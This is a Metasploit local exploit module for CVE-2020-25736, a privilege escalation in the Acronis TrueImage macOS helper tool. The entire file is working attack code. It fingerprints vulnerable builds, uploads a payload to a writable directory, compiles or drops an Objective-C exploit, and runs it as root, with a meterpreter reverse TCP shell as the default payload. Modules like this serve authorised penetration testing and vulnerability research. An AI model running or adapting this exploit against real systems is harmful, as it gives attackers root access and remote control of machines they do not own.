## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Common include Msf::Post::Process include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Acronis TrueImage XPC Privilege Escalation', 'Description' => %q{ Acronis TrueImage versions 2019 update 1 through 2021 update 1 are vulnerable to privilege escalation. The `com.acronis.trueimagehelper` helper tool does not perform any validation on connecting clients, which gives arbitrary clients the ability to execute functions provided by the helper tool with `root` privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'Csaba Fitzl', # @theevilbit - Vulnerability Discovery 'Shelby Pace' # Metasploit Module and Objective-c code ], 'Platform' => [ 'osx' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2020-25736' ], [ 'URL', 'https://kb.acronis.com/content/68061' ], [ 'URL', 'https://attackerkb.com/topics/a1Yrvagxt5/cve-2020-25736' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp', 'WfsDelay' => 15 }, 'DisclosureDate' => '2020-11-11', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'Writable directory to write the payload to', '/tmp' ]), OptString.new('SHELL', [ true, 'Shell to use for executing payload', '/bin/zsh' ]), OptEnum.new('COMPILE', [ true, 'Compile exploit on target', 'Auto', [ 'Auto', 'True', 'False' ] ]) ]) end def tmp_dir datastore['WRITABLE_DIR'].to_s end def sys_shell datastore['SHELL'].to_s end def compile datastore['COMPILE'] end def compile_on_target? return false if compile == 'False' if compile == 'Auto' ret = cmd_exec('xcode-select -p') return false if ret.include?('error: unable') end true end def exp_file_name @exp_file_name ||= Rex::Text.rand_text_alpha(5..10) end def check helper_location = '/Library/PrivilegedHelperTools' helper_svc_names = [ 'com.acronis.trueimagehelper', 'com.acronis.helpertool' ] plist = '/Applications/Acronis True Image.app/Contents/Info.plist' unless helper_svc_names.any? { |svc_name| file?("#{helper_location}/#{svc_name}") } return CheckCode::Safe end return CheckCode::Detected('Service found, but cannot determine version via plist') unless file?(plist) plutil_cmd = "plutil -extract CFBundleVersion raw \'#{plist}\'" build_no = cmd_exec(plutil_cmd) return CheckCode::Detected('Could not retrieve build number from plist') if build_no.blank? build_no = build_no.to_i vprint_status("Found build #{build_no}") return CheckCode::Appears('Vulnerable build found') if build_no > 14170 && build_no < 33610 CheckCode::Safe('Acronis version found is not vulnerable') end def exploit payload_name = Rex::Text.rand_text_alpha(7) @payload_path = "#{tmp_dir}/#{payload_name}" print_status("Attempting to write payload at #{@payload_path}") unless upload_and_chmodx(@payload_path, generate_payload_exe) fail_with(Failure::BadConfig, 'Failed to write payload. Consider changing WRITABLE_DIR option.') end vprint_good("Successfully wrote payload at #{@payload_path}") @pid = get_valid_pid exp_bin_path = "#{tmp_dir}/#{exp_file_name}" if compile_on_target? exp_src = "#{exp_file_name}.m" exp_path = "#{tmp_dir}/#{exp_src}" compile_cmd = "gcc -framework Foundation #{exp_path} -o #{exp_bin_path}" unless write_file(exp_path, objective_c_code) fail_with(Failure::BadConfig, 'Failed to write Objective-C exploit to disk. WRITABLE_DIR may need to be changed') end register_files_for_cleanup(@payload_path, exp_path, exp_bin_path) ret = cmd_exec(compile_cmd) fail_with(Failure::UnexpectedReply, "Failed to compile #{exp_src}") unless ret.blank? print_status("Successfully compiled #{exp_src}...Now executing payload") else print_status("Using pre-compiled exploit #{exp_bin_path}") compiled_exploit = compiled_exp unless upload_and_chmodx(exp_bin_path, compiled_exploit) fail_with(Failure::BadConfig, 'Failed to write compiled exploit. Consider changing WRITABLE_DIR option.') end register_files_for_cleanup(exp_bin_path, @payload_path) end cmd_exec(exp_bin_path) end def objective_c_code file_contents = exploit_data('CVE-2020-25736', 'acronis-exp.erb') ERB.new(file_contents).result(binding) rescue Errno::ENOENT fail_with(Failure::NotFound, 'ERB payload file not found') end def compiled_exp compiled = exploit_data('CVE-2020-25736', 'acronis-exp.macho') compiled.gsub!('/tmp/payload', @payload_path) compiled.gsub!('/bin/zsh', sys_shell) compiled.gsub!("\xEF\xBE\xAD\xDE".force_encoding('ASCII-8BIT'), [@pid.to_i].pack('V')) compiled end def get_valid_pid procs = get_processes return '1' if procs.empty? len = procs.length rand_proc = procs[rand(1...len)] return '1' if rand_proc['pid'].to_s.blank? rand_proc['pid'].to_s end end